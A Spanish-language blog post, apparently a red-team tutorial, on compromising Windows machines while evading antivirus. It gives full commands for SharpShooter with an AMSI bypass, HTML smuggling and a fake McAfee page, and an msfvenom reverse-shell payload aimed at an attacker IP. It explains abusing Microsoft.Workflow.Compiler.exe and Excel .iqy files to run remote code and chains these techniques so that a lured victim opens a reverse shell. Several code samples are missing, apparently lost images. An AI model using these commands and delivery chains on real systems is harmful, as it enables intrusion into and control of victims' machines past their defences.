En el post explicaré cómo utilizar Sharpshooter con la nueva flag para bypassear amsi, cómo hacer uso del ejecutable Microsoft.Workflow.Compiler.exe para compilar y ejecutar código C# y cómo utilizar los archivos .iqy de Excel para ejecutar código remoto. Por último, una mezcla de las técnicas anteriormente descritas.
PARTE 1: SHARPSHOOTER
- git clone https://github.com/mdsecactivebreach/SharpShooter
- pip install -r requirements.txt
python SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile reversa -smuggle --template mcafee --amsi amsienable
Con este comando crearemos dos ficheros:
- Foo.hta
- Foo.html
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.50 LPORT=15900 EnableStageEncoding=True PrependMigrate=True -f raw > reversa
Una vez disponemos de estos ficheros, solo nos queda hostearlos, que nuestra victima acceda y ejecute nuestra mandanga:
- Descargamos el .hta:
- Ejecutamos el .hta:
- Recibimos nuestra reversa.
Todo ello con el Windows defender encendido y actualizado:
PARTE 2: Microsoft.Workflow.Compiler.exe
Como apetecía probar cosas nuevas (sobre todo si son de specterops), le eché un ojo al siguiente post del día de ayer, 17 de agosto: https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb
Básicamente, nos cuenta la existencia de un .exe (Microsoft.Workflow.Compiler.exe) que permite compilar y ejecutar C# sin que a Windows le importe demasiado lo que haya en él.
Necesitamos dos archivos:
- Test.xml: contendrá un objeto serializado de tipo CompilerInput. En este fichero se hará referencia al fichero de a continuación (Test.xoml) donde se encontrará el código a compilar y ejecutar.
- Test.xoml: contendrá el C# (o VB.Net) que será compilado y ejecutado a través de un constructor que deriva de la clase System.Workflow.ComponentModel.Activity.
C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe test.xml results.xml
Bien, hay dos puntos clave interesantes en cómo funciona esto:
1. No es necesario que las extensiones sean .xoml y .xml
Podemos utilizar extensiones arbitrarias en nuestros archivos y se seguirá realizando el trabajo.- Hacemos referencia en test.txt a blah.foo.
- Incluimos en blah.foo el código a compilar y ejecutar:
- Lanzamos el comando y obtenemos el mismo resultado con extensiones arbitrarias:
2. No es necesario que los archivos estén en la máquina víctima
Podemos utilizar UNC (Universal Naming Convention) para hacer referencia tanto a test.txt como a blah.foo, por lo que no es necesario escribir nada en el disco de la máquina víctima:- Para blah.foo, modificamos test.txt en la línea donde se le hace referencia y añadimos la ruta a nuestra máquina:
- Para test.txt y results.blah, hacemos referencia a ambos desde el propio argumento al hacer la llamada:
3.Archivos .iqy + Excel
Excel permite ejecutar archivos de extensión .iqy, mediante los cuales se puede referenciar a una página externa controlada por el atacante, y obtener con ello ejecución de código (Macros 2.0).- Archivo .iqy
- Archivo remoto con las instrucciones a ejecutar.
Y el archivo remoto algo tan ridículo como esto:
- Al ejecutar poc.iqy, se nos mostrará lo siguiente:
- Como vemos en la imagen siguiente, se realiza la petición a nuestro archivo externo y se realiza una segunda advertencia.
- Una vez aceptada, el código se ejecuta.
PARTE 3: UNIÓN DE TODO
De la información que hemos visto atrás y pensando junto a @Superfume, obtenemos dos técnicas que hemos considerado interesantes.
Si bien es cierto que las pruebas con Windows Defender han ido bien, al realizarlas en otra máquina con Avast ha habido más problemas. Esto es debido a que, como veréis a continuación, realizamos las pruebas finalizando con una llamada a “shell.ps1” con powershell, lo que hace saltar las alarmas.
Destacar que esa llamada a shell.ps1 es INNECESARIA.
Tenemos control de código C# que es compilado y ejecutado, por lo que sólo tenemos que implementar lo que queramos en dicho código.
Un ejemplo de ello es el mimikatz que acaba de sacar specterops en formato .xoml:
No obstante, como no sé C#, he tirado por hacer la llamada a Shell.ps1 y que quedara vistoso el post (para un futuro post tocará ir más allá).
1. .hta servido al estilo Sharpshooter que utiliza Microsoft.Workflow.Compiler.exe
Creamos un archivo .hta que haga uso de VBs para realizar nuestro comando clave y lo servimos a través de nuestra web McAfee 100% confiable REAL-TIME SCANNING:Al ejecutar dicho .hta obtendremos la shell reversa (el error aparece pero no afecta a la obtención de la reversa):
- Foo.hta ejecutará la llamada a Microsoft.Workflow.Compiler.exe.
- Microsoft.Workflow.Compiler.exe accederá remotamente a test.txt.
- Test.txt compilará y ejecutará blah.foo.
- blah.foo llamará a shell.ps1 y obtendremos la reversa.
2. .iqy servido al estilo Sharpshooter que utiliza Microsoft.Workflow.Compiler.exe
Siguiendo un poco la misma idea, tenemos nuestro archivo poc.iqy
Y el contenido del archivo remoto será el siguiente:
Una vez ejecutemos el archivo poc.iqy, obtendremos un resultado similar al anterior:
- Aparecerá la siguiente ventana, daremos a habilitar…
- Se accederá a nuestro archivo remoto:
- Obtendremos la siguiente ventana, daremos a "Sí"…
- Obtenemos reversa.
Por lo tanto, al ejecutar dicho .iqy:
- poc.iqy hara la llamada a remoto
- remoto ejecutará la llamada a Microsoft.Workflow.Compiler.exe
- Microsoft.Workflow.Compiler.exe accederá remotamente a test.txt
- Test.txt compilará y ejecutará blah.foo
- blah.foo llamará a shell.ps1 y obtendremos la reversa.
Comentarios
Publicar un comentario